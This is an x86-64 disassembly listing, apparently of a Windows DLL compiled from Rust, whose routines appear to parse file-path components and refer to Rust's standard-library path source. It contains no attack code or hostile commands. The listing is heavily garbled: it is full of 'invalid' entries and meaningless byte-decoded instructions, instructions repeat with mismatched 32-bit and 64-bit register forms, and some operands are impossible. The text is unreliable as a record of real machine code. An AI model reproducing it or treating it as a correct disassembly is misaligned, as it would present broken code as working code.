mov qword [rbp + 0x118], 8
sbb byte [rcx], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
mov qword [rbp + 0x120], 0
test dword [rax], esp
add dword [rax], eax
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add cl, ch
in al, 1
add dword [rax], eax
invalid
jmp 0x18004b62c
lea rax, [r9 + 1]
add dword [r13 - 0x7b], ecx
leave
test r9, r9
cmove rax, r9
add rax, r10
add rax, 2
ror dword [rcx + rax - 0x30], 0x48
add eax, 2
cmp rax, r14
je case.0x18002ac81.921
test byte [rdi - 2], dh
invalid
jmp case.0x180047e31.105
invalid
invalid
invalid
lea rax, [r9 + 1]
lea eax, [rcx + 1]
test r9, r9
test ecx, ecx
cmove rax, r9
add rax, r10
add eax, edx
add rax, 8
ror byte [rax], 0x4c
cmp eax, esi
invalid
or byte [rcx + rdi - 0x10], cl
cmp rax, r14
invalid
je case.0x18002ac81.921
invalid
invalid
jmp case.0x180047e31.105
invalid
lea rcx, [rbp + 0xc0]
mov rdx, rsi
invalid
mov edx, esi
mov r8, r13
mov r8, r13
call fcn.180047840
movzx eax, byte [rbp + 0xc0]
rol byte [rax], 0
invalid
cmpsb byte [rsi], byte [rdi]
ret
rol byte [rax], 0
add byte [rax - 0x75], cl
invalid
invalid
invalid
mov rcx, qword [rbp + 0xd0]
mov r11, qword [rbp + 0xe0]
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
mov dh, 0xc0
invalid
invalid
invalid
cli
jle 0x18004b4bc
invalid
movzx r8d, al
mov dh, 0xc0
lea r9, [0x1800833b4]
or eax, 0x37efa
add byte [rdi + 0x63], cl
movsxd r10, dword [r9 + r8*4]
adc al, 0x81
add r10, r9
mov r8, r13
mov r9, rsi
mov ecx, esi
mov ecx, esi
mov rdx, qword [rbp + 0x108]
mov edx, dword [rbp + 0x108]
add byte [rcx - 1], al
jmp r10
loop 0x18004b51a
add rcx, 4
add ecx, 4
add al, 0xe9
enter 1, 0
jmp 0x18004b6a2
mov rdi, rsi
mov rsi, r13
movzx eax, byte [0x18008b300]
inc byte [rbx]
add byte [rdx + 0xe0], bh
loopne case.0x18006683b.98
add byte [rax], al
add byte [rax], al
add byte [rcx], dh
leave
xor ecx, ecx
call fcn.180059d10
call 0x1054cb4f5
ror byte [rdi], 0x84
add byte [rax], al
test rax, rax
je 0x18004bc13
invalid
invalid
add byte [rax], al
invalid
invalid
invalid
add byte [rcx - 0x77], cl
mov r14, rax
mov rax, qword [rbp - 0x28]
mov qword [r14 + 0x30], rax
mov dword [rsi + 0x30], eax
invalid
fmul dword [rcx - 0x77]
mov dword [rsi + 0x30], eax
xor byte [rdi], r9b
movups xmm0, xmmword [rbp - 0x58]
adc byte [rbp - 0x58], al
movups xmm1, xmmword [rbp - 0x48]
adc byte [rbp - 0x48], cl
movups xmm2, xmmword [rbp - 0x38]
movups xmmword [r14 + 0x20], xmm2
adc dword [rsi + 0x20], edx
movups xmmword [r14 + 0x10], xmm1
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi + 0x10], xmm1
adc dword [rsi + 0x10], ecx
movups xmmword [r14], xmm0
movups xmmword [rsi], xmm0
invalid
mov qword [rbp + 0xa0], 4
mov qword [rbp + 0xa8], r14
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 0x4b], cl
test al, 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax + 0x1000000], esi
add byte [rax], al
invalid
mov qword [rbp + 0xb0], 1
add byte [rax], al
add byte [rcx], al
add dword [rax], eax
add byte [rax], al
add byte [rdi], cl
adc byte [rbp - 0x20], al
add byte [rax], al
movups xmm0, xmmword [rbp - 0x20]
movups xmm1, xmmword [rbp - 0x10]
movups xmm2, xmmword [rbp]
add byte [rdi], cl
adc byte [rbp + 0x10], bl
pop rbp
invalid
add byte [rdi], cl
adc byte [rbp + 0x10], bl
pop rbp
invalid
pop rbp
adc byte [rdi], cl
sub dword [rbp + 0xf0], ebx
movaps xmmword [rbp + 0xf0], xmm3
movaps xmmword [rbp + 0xe0], xmm2
loopne 0x18004b55a
add byte [rax], al
add byte [rdi], cl
sub dword [rbp + 0xd0], ecx
add byte [rax], al
add byte [rax], al
movaps xmmword [rbp + 0xd0], xmm1
add byte [rax], al
movaps xmmword [rbp + 0xc0], xmm0
sub dword [rbp + 0xc0], eax
add byte [rax], al
lea rcx, [rbp + 0x68]
lea rdx, [rbp + 0xc0]
add al, ch
invalid
invalid
invalid
inc dword [rax + 0xf0a687d]
invalid
xchg byte [rax], al
add byte [rax], al
push 0xffffffffc0958d48
add byte [rax], al
add al, ch
invalid
invalid
inc dword [rax + 0xf0a687d]
test byte [rsi + 0x41000000], al
mov r15d, 1
mov r15d, 1
add byte [rax], al
lea r13, [rbp + 0x68]
lea r12, [rbp + 0xc0]
invalid
push 0xffffffffc0a58d4c
add byte [rax], al
add byte [rsi + 0x66], ah
nop dword cs:[rax + rax]
nop word cs:[rax + rax]
cmp r15, qword [rbp + 0xa0]
cmp edi, dword [rbp + 0xa0]
mov ebp, 0xa0
add byte [rax], al
add byte [rbp + 0x16], dh
invalid
jne 0x18004b5bf
invalid
lea rcx, [rbp + 0xa0]
mov rdx, r15
add byte [rax], al
add byte [rcx + rcx*4 - 6], cl
call fcn.18006a700
mov r14, qword [rbp + 0xa8]
add byte [rax], al
add byte [rcx + 0x6b], cl
invalid
imul rax, r15, 0x38
mov rcx, qword [rbp + 0x98]
add byte [rcx - 0x77], cl
invalid
invalid
xor byte [rdi], cl
adc byte [rbp + 0x68], al
movups xmm1, xmmword [rbp + 0x78]
js 0x18004b5e7
adc byte [rbp + 0x88], dl
add byte [rcx - 0x77], cl
invalid
js 0x18004b5e7
adc byte [rbp + 0x88], dl
movups xmmword [r14 + rax + 0x20], xmm2
movups xmmword [r14 + rax + 0x10], xmm1
movups xmmword [rsi + rax + 0x10], xmm1
invalid
movups xmmword [r14 + rax], xmm0
inc r15
mov qword [rbp + 0xb0], r15
mov rcx, r13
mov rdx, r12
call fcn.180047ce0
cmp byte [rbp + 0x68], 0xa
invalid
invalid
push 0xf96750a
adc byte [rbp + 0xa0], al
jne 0x18004b5a0
movups xmm0, xmmword [rbp + 0xa0]
movaps xmmword [rbp + 0x110], xmm0
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
invalid
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x120], rax
test dword [rax], esp
add dword [rax], eax
invalid
test dword [rax + 0x48000000], esi
mov dword [rbp + 0x120], eax
test dword [rax], esp
add dword [rax], eax
invalid
test dword [rax], esp
add dword [rax], eax
add byte [rcx - 0x77], cl
and byte [rcx], al
add byte [rax], al
mov r13, rsi
cmc
mov rsi, rdi
mov byte [rbp + 0x12f], 0
add byte [rax], al
lea rcx, [rbp + 0x68]
mov rdx, rsi
mov r8, r13
push 0x4df28948
push 0x4df28948
mov eax, ebp
call fcn.180047840
movzx edx, byte [rbp + 0x68]
mov rcx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x88]
invalid
mov byte [rax], al
add byte [rax], al
inc cl
invalid
test dword [rax + 0x4c000000], ecx
mov byte [rax], al
add byte [rax], al
lea r8, [0x180083404]
lea eax, [0x180083404]
movsxd r9, dword [r8 + rdx*4]
add r9, r8
mov rdx, rsi
jmp r9
invalid
add rcx, 4
add ecx, 4
add al, 0xe9
add byte [rax], al
jmp 0x18004b761
add byte [rbp - 0x73], cl
add dword [r13 - 0x7b], ecx
fisttp dword [rbp + 0xf]
cmove r8, r11
lea r8, [r11 + 1]
test r11, r11
cmove r8, r11
add rcx, r8
add rcx, 8
add ecx, 8
add ecx, 8
jmp 0x18004b6a2
and byte [rcx + 6], bh
mov ecx, 6
add byte [rax], al
add bl, ch
jmp 0x18004b6a2
lea r8, [r11 + 1]
test r11, r11
cmove r8, r11
jmp 0x18004b6a2
lea r8, [r11 + 1]
test r11, r11
cmove r8, r11
cmove eax, ebx
add rcx, r8
add rcx, 2
add ecx, 2
rol dword [rdx], 0xeb
add eax, 0x2b9
add byte [rbp - 0x77], cl
jmp 0x18004b6a2
mov ecx, 2
mov r8, r13
call 0x18fccdff2
invalid
sub r8, rcx
jb 0x18004bbec
add byte [rax], al
enter 0xffffffffffff820f, 0x3e
add eax, 0x1480000
add byte [rax], al
invalid
invalid
add byte [rax], al
add byte [rax + 1], cl
add rcx, rsi
int1
mov r9, rcx
test r8, r8
test eax, eax
je 0x18004b6c7
movzx ecx, byte [r9]
cmp ecx, 0x2f
stc
invalid
stc
invalid
je 0x18004b6cb
or dword [rbx + 0x4745cf9], eax
cmp ecx, 0x5c
je 0x18004b6cb
cmp al, 5
add eax, 0x8d483f73
invalid
jae case.default.0x18004b6fe
lea rcx, [rbp + 0xc0]
mov r8, r14
call fcn.180047840
sar edi, 0xff
invalid
movzx r8d, byte [rbp + 0xc0]
mov rax, qword [rbp + 0xd0]
invalid
mov dh, 0x85
rol byte [rax], 0
test eax, eax
add byte [rax], al
add byte [rax - 0x75], cl
test eax, edx
add byte [rax], al
rol byte [rax], 1
add byte [rax], al
invalid
add byte [rax - 0x75], cl
xchg ebp, eax
loopne 0x18004b6ee
mov rdx, qword [rbp + 0xe0]
add byte [rax], al
lea rcx, [0x1800833d0]
lea ecx, [0x1800833d0]
add byte [rsi + 0x63], cl
movsxd r9, dword [rcx + r8*4]
invalid
or al, 0x81
add r9, rcx
jmp r9
lea rcx, [rax + 4]
jmp 0x18004bb75
test r12b, r12b
in al, 0xf
test byte [rdi - 4], bh
invalid
je 0x18004b392
lea rdx, [0x18007d08a]
lea edx, [0x18007d08a]
adc eax, 0x31970
mov r8d, 1
mov rcx, rbx
call fcn.18004a5d0
invalid
jmp 0x18004b392
cld
invalid
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 8
jmp 0x18004b761
invalid
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], 0x44
ror byte [rax + 1], 1
ror dword [rax - 0x7d], 1
ror dword [rax], 0xeb
and byte [rcx + 6], bh
mov ecx, 6
invalid
add byte [rax], al
jmp 0x18004b761
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
cmove edx, eax
cmove edx, eax
add rcx, rdx
add rcx, 2
jmp 0x18004b761
mov ecx, 2
add byte [rax], al
add byte [rcx + rdi - 0x17], cl
cmp rcx, r13
ja 0x18004bbfb
jne 0x18004b770
xor eax, eax
jmp 0x18004b785
add rcx, rsi
mov rdx, rcx
movzx eax, byte [rdx]
cmp al, 0x2f
sete cl
xchg esp, eax
invalid
cmp al, 0x5c
xchg esp, eax
sar dword [rsp + rbx*2], 0xf
sete al
or al, cl
sete al
or al, cl
mov rcx, qword [rbp + 0x88]
mov qword [rbp + 0xf0], rcx
movups xmm0, xmmword [rbp + 0x68]
movups xmm1, xmmword [rbp + 0x78]
movups xmmword [rbp + 0xe0], xmm1
movups xmmword [rbp + 0xd0], xmm0
adc dword [rbp + 0xd0], eax
mov qword [rbp + 0xc0], rsi
add byte [rcx + rcx*4 - 0x53], cl
enter 0, 0
mov qword [rbp + 0xc8], r13
mov word [rbp + 0xf8], 0x200
add byte [rdx], al
add cl, byte [rax + 0xfa85]
add byte [rax - 0x73], cl
jne case.0x18006683b.124
mov byte [rbp + 0xfa], al
lea rsi, [rbp + 0x69]
lea rdi, [rbp + 0x68]
lea edi, [rbp + 0x68]
push 0xffffffffc09d8d48
add byte [rax], al
add byte [rbp + 0x31], al
dec dword [rbp + rcx*4 - 0x4b]
invalid
lea rbx, [rbp + 0xc0]
xor r15d, r15d
lea r14, [rbp + 0x110]
mov ch, 0x10
add dword [rax], eax
invalid
mov ch, 0x10
add dword [rax], eax
add bl, ch
push rdx
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
adc byte [rcx], al
add byte [rax], al
jmp case.0x18006683b.124
nop dword cs:[rax + rax]
invalid
mov rax, qword [rbp + 0x120]
add byte [rax - 0x75], cl
lea ebx, [rax]
mov rcx, qword [rbp + 0x118]
imul rdx, rax, 0x38
invalid
add dword [rax], eax
add byte [rax + 0x6b], cl
sar byte [rax], 1
invalid
mov byte [rcx + rdx], r12b
movups xmm0, xmmword [rsi]
adc dword [rdi], ecx
adc byte [rsi], al
movups xmm1, xmmword [rsi + 0x10]
movups xmm2, xmmword [rsi + 0x20]
movups xmmword [rcx + rdx + 1], xmm0
adc dword [rcx + rdx + 1], eax
add dword [rdi], ecx
adc dword [rcx + rdx + 0x11], ecx
adc dword [rcx + rdx + 0x11], ecx
movups xmmword [rcx + rdx + 0x21], xmm2
push rsp
adc dword [rcx], esp
mov r8, qword [rsi + 0x2f]
mov qword [rcx + rdx + 0x30], r8
inc rax
mov qword [rbp + 0x120], rax
add byte [rax], al
mov byte [rbp + 0x12f], 0
mov rcx, rdi
add byte [rax - 0x77], cl
stc
mov rdx, rbx
call fcn.180047ce0
invalid
inc dword [rdi + rcx - 0x4a]
push 0xafc8041
or cl, byte [rdi]
test ah, al
add byte [rax], al
invalid
invalid
or cl, byte [rdi]
test ah, al
add byte [rax], al
add byte [rcx - 0x73], al
lea eax, [rsp - 6]
lea eax, [r12 - 6]
lea eax, [rsp - 6]
lea ecx, [r12 - 5]
cmp al, 4
movzx eax, cl
cmovae eax, r15d
cmp al, 1
je 0x18004b8b0
movzx eax, al
cmp eax, 2
rol byte [rbx - 0x3f8bfd08], 0x83
clc
add esi, dword [rbp + 0x78]
invalid
je case.0x18006683b.124
cmp eax, 3
jne 0x18004b8f0
invalid
js 0x18004b8c1
mov rax, qword [rbp + 0x120]
mov eax, dword [rbp + 0x120]
test rax, rax
je case.0x18006683b.124
scasd eax, dword [rdi]
scasd eax, dword [rdi]
mov rcx, qword [rbp + 0x118]
dec rax
enter 0x6b48, 0xffffffffffffffd0
invalid
cmp byte [rcx + rdx], 9
jne case.0x18006683b.124
mov qword [rbp + 0x120], rax
jmp case.0x18006683b.124
nop word cs:[rax + rax]
xor eax, eax
cmp qword [rbp + 0x120], 0
mov ebp, 0x120
add byte [rdi], cl
xchg ebp, eax
invalid
mov ebp, 0x120
add byte [rax], al
add byte [rdi], cl
xchg ebp, eax
ror byte [rax - 0x77], 0x85
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x120], rax
add dword [rax], eax
add byte [rax + 0x39], cl
test dword [rax], edx
add dword [rax], eax
add byte [rdi], cl
test dword [rsi], esp
invalid
cmp qword [rbp + 0x110], rax
jne case.0x180047e31.147
inc esi
test dword [rdi], ebp
add dword [rax], eax
add byte [rax], al
mov byte [rbp + 0x12f], 0
mov rcx, r14
mov ecx, esi
call fcn.180049030
jmp 0x18004b7f0
invalid
jmp qword [rsi + 0x66]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
mov eax, dword [rbp + 0x120]
invalid
invalid
mov rax, qword [rbp + 0x120]
mov eax, dword [rbp + 0x120]
cmp rax, qword [rbp + 0x110]
jne case.0x180047e31.147
invalid
invalid
invalid
invalid
test dword [rax], edx
add dword [rax], eax
add byte [rdi], cl
test ebx, esi
invalid
invalid
invalid
mov byte [rbp + 0x12f], 0
test dword [rdi], ebp
add dword [rax], eax
add byte [rax], al
mov rcx, r14
int1
call fcn.180049030
jmp 0x18004b7f0
fdivr st(6)
invalid
invalid
invalid
mov qword [rbp + 0x48], 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
push r8
add dword [rax], eax
add byte [rax], al
mov qword [rbp + 0x50], 1
mov qword [rbp + 0x58], 0
mov byte [rbp + 0x60], 1
mov rax, qword [rbp + 0x110]
adc byte [rcx], al
add byte [rax], al
invalid
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x77], cl
test dword [rax + 0x48000000], edi
mov eax, dword [rbp + 0x118]
mov qword [rbp + 0xb8], rax
mov rax, qword [rbp + 0x118]
mov qword [rbp + 0x108], rax
or byte [rcx], al
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x75], cl
test dword [rax], esp
mov rax, qword [rbp + 0x120]
and byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
invalid
test rax, rax
je 0x18004bafa
invalid
add byte [rax + 0x6b], cl
invalid
imul rsi, rax, 0x38
mov rbx, qword [rbp + 0x108]
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax], al
add byte [rax + 1], cl
fimul word [rbp + rcx*4 - 0x5b]
invalid
movsd dword [rdi], dword [rsi]
rol dword [rax], 0
add byte [rax], al
add rsi, rbx
add esi, ebx
lea r12, [rbp + 0xc1]
lea esp, [rbp + 0xc1]
add byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 + 0x35], cl
movsb byte [rdi], byte [rsi]
jp 0x18004b97e
invalid
lea r14, [0x180083420]
add eax, dword [rax]
add byte [rcx], dh
shr bl, 0xf
xor eax, eax
jmp case.0x180047e31.134
xor eax, eax
add rbx, 0x38
cmp rbx, rsi
cmp ebx, esi
je 0x18004bafa
imul eax, dword [rcx], 0
add byte [rdi], cl
mov dh, 0x3b
movzx edi, byte [rbx]
cmp edi, 0xa
je 0x18004bafa
test byte [rdi + 1], bl
add byte [rax], al
test byte [rdi + 1], bl
add byte [rax], al
pop rdi
add dword [rax], eax
add byte [rax - 0x78], al
mov byte [rbp + 0xc0], dil
mov byte [rbp + 0xc0], dil
add byte [rax - 0x75], cl
xor byte [r9 - 0x77], cl
xor byte [rcx - 0x77], cl
mov rcx, qword [rbx + 0x30]
mov ecx, dword [rbx + 0x30]
xor byte [rcx - 0x77], cl
mov qword [r12 + 0x2f], rcx
and al, 0x2f
movups xmm0, xmmword [rbx + 1]
movups xmm1, xmmword [rbx + 0x11]
movups xmm2, xmmword [rbx + 0x21]
push rbx
invalid
adc dword [rdi], ecx
adc byte [rbx + 0x21], dl
push rbx
invalid
push rbx
and dword [rcx + 0xf], eax
movups xmmword [r12 + 0x20], xmm2
movups xmmword [r12 + 0x20], xmm2
and byte [rcx + 0xf], al
adc dword [rsp + 0x10], ecx
movups xmmword [r12 + 0x10], xmm1
and al, 0x10
movups xmmword [r12], xmm0
add al, 0x24
and al, 0xa8
add dword [rbp + rbp + 0x48], esi
lea ecx, [rbp + 0xc0]
add byte [rax], al
invalid
test al, 1
je 0x18004b9f9
lea rcx, [rbp + 0xc0]
add byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
add byte [rax], al
lea rdx, [0x18007d1c8]
adc eax, 0x317ee
add al, ch
call fcn.1800480b0
test al, al
jne 0x18004b9f9
rol esi, 1
invalid
invalid
mov r8d, 1
lea rcx, [rbp + 0x48]
lea rdx, [0x18007d08a]
adc eax, 0x31696
xchg esi, eax
invalid
add al, ch
call fcn.18004a5d0
xlatb
jmp 0x18004b9f7
invalid
lea r13d, [rdi - 6]
lea eax, [rdi - 5]
sti
sti
sti
cmp r13b, 4
movzx eax, al
mov dh, 0xc0
mov ecx, 0
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
cmovae eax, ecx
ror dword [r11 + r9*4 - 0x43], 0xd0
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
ror byte [rbx + 0x63], 4
movsxd rax, dword [r14 + r8*4]
add rax, r14
add eax, esi
mov r15, qword [rbp + 0xd0]
mov ebp, 0xd0
movzx r8d, al
movzx eax, al
movsxd rax, dword [r14 + r8*4]
add rax, r14
add eax, esi
add eax, esi
jmp rax
mov rdx, qword [rbp + 0xe8]
xchg ebp, eax
call 0x1cc04ba2b
add byte [rax], al
add byte [rbx + rcx*4 - 0x7b], cl
lock add byte [rax], al
invalid
add byte [rax], al
add byte [rbx + rcx*4 - 0x7b], cl
mov r8, qword [rbp + 0xf0]
lock add byte [rax], al
add bl, ch
jmp 0x18004ba70
cmp eax, 0xc8958b48
add byte [rax], al
mov rdx, qword [rbp + 0xc8]
mov r8, r15
add byte [rbp - 0x77], cl
clc
mov eax, edi
jmp 0x18004ba70
xor dword [rcx - 0x48], eax
mov r8d, 1
add dword [rax], eax
add byte [rax], al
lea rdx, [0x18007d08b]
jmp 0x18004ba70
mov r8d, 2
lea rdx, str....
invalid
invalid
add eax, dword [rax]
lea edx, str....
sub eax, 0xeb000316
adc ecx, dword [rax - 0x73]
lea rdx, [0x18007d08a]
jmp 0x18004ba70
lea rdx, [0x18007d08a]
nop word cs:[rax + rax]
lea rcx, [rbp + 0x48]
lea ecx, [rbp + 0x48]
call fcn.18004a5d0
call fcn.18004a5d0
movzx ecx, r13b
inc rcx
cmp r13b, 4
mov eax, 0
cmovae rcx, rax
enter 0xffffffffffff8348, 0xfffffffffffffff9
add dword [rdi], ecx
test cl, ch
invalid
cmp rcx, 1
je case.0x18004bab9.5
invalid
mov al, 1
test rcx, rcx
jne 0x18004b982
mov rax, qword [rbp + 0xe0]
loopne case.0x18004ba21.5
add byte [rax], al
mov ecx, edi
lea rdx, [0x180083434]
adc eax, 0x37982
adc eax, 0x37982
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
add r15, 4
jmp 0x18004baef
mov dword [rbx + rbp*8], 0x488d482e
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], 0x44
cmove ecx, eax
add r15, rcx
lea rcx, [rax + 1]
test rax, rax
cmove rcx, rax
cmove ecx, eax
cmove ecx, eax
add r15, rcx
add r15, 8
jmp 0x18004baef
invalid
mov r15d, 6
add byte [rax], al
add bl, ch
adc cl, byte [rax - 0x73]
lea rcx, [rax + 1]
test rax, rax
cmove rcx, rax
add r15, rcx
add byte [rax], al
jmp 0x18004baef
lea rcx, [rax + 1]
test rax, rax
cmove rcx, rax
add r15, rcx
add r15, 2
add edi, 2
mov dword [rdx], 0xfff854d
xchg ebp, eax
test r15, r15
setne al
invalid
shr cl, 0x88
jmp 0x18004b982
invalid
cmp qword [rbp + 0xb8], 0
je 0x18004bb15
mov edx, 8
add byte [rax - 0x75], cl
mov rcx, qword [rbp + 0x108]
lea ecx, [rax]
add dword [rax], eax
add al, ch
retf
call fcn.18001b8e0
std
cld
dec dword [rax - 0x75]
jne 0x18004bb49
mov rsi, qword [rbp + 0x30]
cmp qword [rsi], 0
je 0x18004bb2d
mov rcx, qword [rsi + 8]
mov edx, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add al, ch
mov bl, 0xfd
call fcn.18001b8e0
cld
dec dword [rdi]
movups xmm0, xmmword [rbp + 0x48]
adc byte [rbp + 0x48], al
movups xmm1, xmmword [rbp + 0x58]
movups xmm1, xmmword [rbp + 0x58]
movups xmmword [rsi + 0x10], xmm1
adc byte [rdi], cl
adc dword [rsi], eax
movups xmmword [rsi], xmm0
jmp 0x18004b3a0
dec dword [rax - 0x73]
lea rcx, [rdx + 1]
lea ecx, [rdx + 1]
add qword [rax - 0x7b], rcx
test rdx, rdx
cmove rcx, rdx
ror byte [rax + 0xf], cl
cmove ecx, edx
retf 0x148
add rcx, rax
add rcx, 2
jmp 0x18004bb75
and byte [rcx + 6], bh
mov ecx, 6
add byte [rax], al
add bl, ch
jmp 0x18004bb75
sbb dword [rax - 0x73], ecx
lea rcx, [rdx + 1]
test rdx, rdx
cmove rcx, rdx
add rcx, rax
add rcx, 8
jmp 0x18004bb75
add qword [rax - 0x7b], rcx
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], cl
retf 0x148
mov ecx, 2
add al, byte [rax]
add byte [rax], al
add byte [rcx + rdi - 0xf], cl
add byte [rax], al
cmp rcx, r14
int1
ja case.default.0x18004bb8b
mov ecx, r8d
mov ecx, eax
lea r8, [0x1800833ec]
movsxd rcx, dword [r8 + rcx*4]
add rcx, r8
jmp rcx
add rax, 4
add eax, 4
rol byte [rbx + rbp*8], 0x38
jmp 0x18004bbcb
xor eax, eax
jmp 0x18004bbd4
invalid
cmp eax, 0x14a8d48
lea rcx, [rdx + 1]
test rdx, rdx
cmove rcx, rdx
add rax, rcx
add rax, 2
jmp 0x18004bbcb
invalid
and byte [rax + 6], bh
mov eax, 6
jmp 0x18004bbcb
lea rcx, [rdx + 1]
test rdx, rdx
cmove rcx, rdx
add rax, rcx
add rax, 8
jmp 0x18004bbcb
mov eax, 2
cmp r14, rax
jb 0x18004b392
mov qword [rbx + 0x10], rax
jmp 0x18004b392
lea r8, str.library_std_srcpath.rs
mov rdx, r14
call fcn.180069790
lea r8, str.library_std_srcpath.rs
mov rdx, r13
call fcn.180069790
mov byte [rbp + 0x12f], 0
lea r8, str.library_std_srcpath.rs
mov rdx, r13
call fcn.180069790
ud2
mov ecx, 8
mov edx, 0xe0
call fcn.180069600
int3
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
in al, dx
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax + 0x12fbd], al
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
jne 0x18004bd30
cmp qword [rbp + 0x110], 0
je 0x18004bd30
mov rcx, qword [rbp + 0x118]
mov edx, 8
call fcn.18001b8e0
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rbp
ret
push r12
push rsi
push rdi
push rbx
sub rsp, 0xa8
add byte [rax], al
lea rbp, [rsp + 0x80]
mov rsi, rcx
movzx r13d, byte [rdx + 0x38]
cmp r13b, 3
add ecx, dword [rdi]
test ch, cl
add al, byte [rax]
add byte [rax - 0x77], cl
xlatb
je 0x18004c04a
mov rdi, rdx
movzx eax, byte [rdx + 0x39]
cmp al, 3
sete dl
cmp r13b, al
cmp ch, al
seta cl
lea r12, [rbp - 0x57]
test eax, 0x7f80d108
cmp al, byte [rax]
test eax, 0x7f80d108
cmp al, byte [rax]
movzx edx, byte [rdi + 0x10]
mov byte [rbp + 0x27], dl
movzx r15d, dl
mov rdx, qword [rdi]
invalid
mov qword [rbp + 0x18], rdx
invalid
mov rbx, qword [rdi + 8]
je 0x18004be51
test cl, cl
jne 0x18004c04a
lea r14, [rbp - 0x60]
jne 0x18004bd61
jmp 0x18004bddf
sbb al, 0x66
nop word cs:[rax + rax]
mov byte [rdi + 0x39], 1
mov al, 1
cmp r13b, al
ja 0x18004c04a
imul eax, dword [rdx], 0
invalid
imul eax, dword [rdx], 0
add byte [rdx + rax], bh
cmp al, 2
jne 0x18004bf79
mov rcx, rdi
call case.0x180046f5f.69
cmp rbx, rax
jbe 0x18004bdd0
invalid
fmul qword [rcx + rcx*4 - 0xf]
mov rcx, r14
mov rdx, rdi
call fcn.180048620
mov rcx, rbx
mov ecx, ebx
movzx eax, byte [rbp - 0x58]
movups xmm0, xmmword [r12]
movups xmm0, xmmword [rsp]
adc byte [rsp], al
movups xmm1, xmmword [r12 + 0x10]
and al, 0x10
movups xmm2, xmmword [r12 + 0x20]
movaps xmmword [rbp - 0x20], xmm0
movaps xmmword [rbp - 0x10], xmm1
sub dword [rbp - 0x10], ecx
invalid
movaps xmmword [rbp], xmm2
mov rdx, qword [r12 + 0x2f]
mov edx, dword [rsp + 0x2f]
mov qword [rbp + 0xf], rdx
sub rcx, qword [rbp - 0x60]
invalid
invalid
jb 0x18004c067
xor dword [rdx], eax
add byte [rax], al
push rbp
cmovs ebp, dword [rbx]
movabs al, byte [0x894800000231820f]
mov qword [rdi + 8], rcx
mov dword [rdi + 8], ecx
or byte [r10 + r9], r15b
cmp al, 0xa
jne 0x18004bfb7
add dword [rax], eax
add byte [rax - 0x3476b7fe], dh
add byte [rax], al
mov al, 2
mov rbx, rcx
cmp r13b, al
jbe 0x18004bddf
jmp 0x18004c04a
add dword [rax], eax
add byte [rcx + rcx*8 + 0x1f1850f], al
jne 0x18004c04a
test cl, cl
jne 0x18004c04a
test ecx, esi
add dword [rax], eax
add byte [rcx - 0x77], cl
mov r14, rbx
jmp case.0x1800477d8.173
fsubp st(3)
adc dword [rsi - 0x70], esp
nop
nop
mov byte [rdi + 0x39], 1
mov al, 1
cmp r13b, al
ja 0x18004c04a
xchg ebx, ebx
add dword [rax], eax
invalid
xchg ebx, ebx
add dword [rax], eax
add byte [rcx + rax], bh
cmp al, 1
cmp al, 1
je case.0x1800484d2.131
movzx eax, al
cmp eax, 2
clc
add cl, byte [rdi]
test dword [rcx], eax
add dword [rax], eax
invalid
mov rcx, rdi
call case.0x180046f5f.69
dec dword [rcx + 0x39]
invalid
jbe 0x18004be60
invalid
dec dword [rcx + 0x39]
invalid
lea rcx, [rbp - 0x60]
mov rdx, rdi
call fcn.180048620
mov rbx, r14
movzx eax, byte [rbp - 0x58]
movups xmm0, xmmword [r12]
add al, 0x24
add al, 0x24
movups xmm1, xmmword [r12 + 0x10]
and al, 0x10
movups xmm2, xmmword [r12 + 0x20]
movaps xmmword [rbp - 0x20], xmm0
and byte [rdi], cl
sub dword [rbp - 0x20], eax
movaps xmmword [rbp - 0x10], xmm1
movaps xmmword [rbp], xmm2
mov rcx, qword [r12 + 0x2f]
mov qword [rbp + 0xf], rcx
cmovs r13, qword [r11]
pop rbp
invalid
jb 0x18004c061
cmovs r13, qword [r11]
pop rbp
movabs al, byte [0x894800000192820f]
xchg edx, eax
add dword [rax], eax
add byte [rax - 0x77], cl
mov qword [rdi + 8], rbx
cmp al, 0xa
pop rdi
or byte [rdx + rcx], bh
jne 0x18004bfb7
test esp, ebx
add byte [rax], al
add byte [rax - 0x2176b6fe], dh
mov al, 2
mov r14, rbx
invalid
fadd qword [rax]
add byte [rax], al
mov al, 2
mov r14, rbx
invalid
add cl, byte [rcx - 0x77]
fsubp st(3)
